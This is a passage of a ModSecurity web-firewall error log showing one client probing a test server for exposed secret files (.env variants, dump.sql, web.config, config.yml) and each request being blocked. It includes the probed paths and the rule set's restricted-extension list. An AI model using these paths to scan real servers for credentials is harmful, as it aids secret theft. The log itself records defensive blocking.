&quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aSxT2UR0pJY8_qkvKEEfmQAAAAM&quot;]
[Sun Nov 30 15:25:29.325847 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aSxT2UR0pJY8_qkvKEEfmQAAAAM&quot;]
[Sun Nov 30 15:25:29.326044 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aSxT2UR0pJY8_qkvKEEfmQAAAAM&quot;]
[Sun Nov 30 15:25:30.001882 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36AAAAEU&quot;]
[Sun Nov 30 15:25:30.002042 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36AAAAEU&quot;]
[Sun Nov 30 15:25:30.002253 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36AAAAEU&quot;]
[Sun Nov 30 15:25:30.002470 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36AAAAEU&quot;]
[Sun Nov 30 15:25:30.451594 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36gAAAEU&quot;]
[Sun Nov 30 15:25:30.451783 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36gAAAEU&quot;]
[Sun Nov 30 15:25:30.451991 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36gAAAEU&quot;]
[Sun Nov 30 15:25:30.452195 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36gAAAEU&quot;]
[Sun Nov 30 15:25:30.678165 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36wAAAEU&quot;]
[Sun Nov 30 15:25:30.678330 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36wAAAEU&quot;]
[Sun Nov 30 15:25:30.678579 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36wAAAEU&quot;]
[Sun Nov 30 15:25:30.678773 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF36wAAAEU&quot;]
[Sun Nov 30 15:25:30.905783 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF37AAAAEU&quot;]
[Sun Nov 30 15:25:30.906015 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF37AAAAEU&quot;]
[Sun Nov 30 15:25:30.906241 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aSxT2n-YzzK-2pqhifF37AAAAEU&quot;]
[Sun Nov 30 15:25:31.131716 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF37QAAAEU&quot;]
[Sun Nov 30 15:25:31.132083 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF37QAAAEU&quot;]
[Sun Nov 30 15:25:31.132309 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF37QAAAEU&quot;]
[Sun Nov 30 15:25:31.356259 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF37gAAAEU&quot;]
[Sun Nov 30 15:25:31.356483 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF37gAAAEU&quot;]
[Sun Nov 30 15:25:31.356709 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF37gAAAEU&quot;]
[Sun Nov 30 15:25:31.805576 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF38AAAAEU&quot;]
[Sun Nov 30 15:25:31.805754 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF38AAAAEU&quot;]
[Sun Nov 30 15:25:31.805965 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF38AAAAEU&quot;]
[Sun Nov 30 15:25:31.806179 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aSxT23-YzzK-2pqhifF38AAAAEU&quot;]
[Sun Nov 30 15:25:32.255212 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF38gAAAEU&quot;]
[Sun Nov 30 15:25:32.255428 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF38gAAAEU&quot;]
